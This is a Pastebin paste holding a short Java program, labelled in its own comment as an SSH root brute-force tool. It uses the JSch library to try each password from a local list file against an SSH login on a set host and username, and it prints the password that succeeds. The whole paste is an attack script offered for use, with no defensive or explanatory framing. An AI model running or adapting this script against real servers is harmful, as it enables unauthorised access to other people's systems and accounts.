Advertisement
Guest User

Untitled

a guest
Jan 7th, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. import com.jcraft.jsch.JSch;
  2. import com.jcraft.jsch.Session;
  3. import java.io.*;
  4. import java.util.Scanner;
  5. /**
  6. * SSH bruteforce root - password guessing.
  7. * @author Aviv
  8. *
  9. */
  10. public class SSH
  11. {
  12. public static void main(String args[])
  13. {
  14. String user = "john"; // Set username
  15. String password = "mypassword"; // set password
  16. String host = "192.168.100.23"; // set host
  17. int port=22; // set port
  18.  
  19. try
  20. {
  21. // Openning session
  22. JSch jsch = new JSch();
  23. Session session = jsch.getSession(user, host, port);
  24. session.setPassword(password); // initilaize password
  25. System.out.println("Checking for passwords begin..");
  26. Scanner input = new Scanner(System.in);
  27. File file = new File("passwords.txt"); // password file
  28.  
  29. input = new Scanner(file);
  30. while (input.hasNextLine()) { // reading from password file
  31. String line = input.nextLine();
  32. try {
  33. session.setPassword(line); // checking each password
  34. session.connect(1000); // trying to connect...
  35. System.out.println("Connected, password: "+line); // if connected
  36. break;
  37. }
  38. catch (Exception e1) {
  39. System.out.println(line);
  40. continue;
  41. }
  42. }
  43. input.close();
  44. }
  45. catch (Exception e1) {
  46. System.out.println("Uncorrect password");
  47. }
  48. }
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement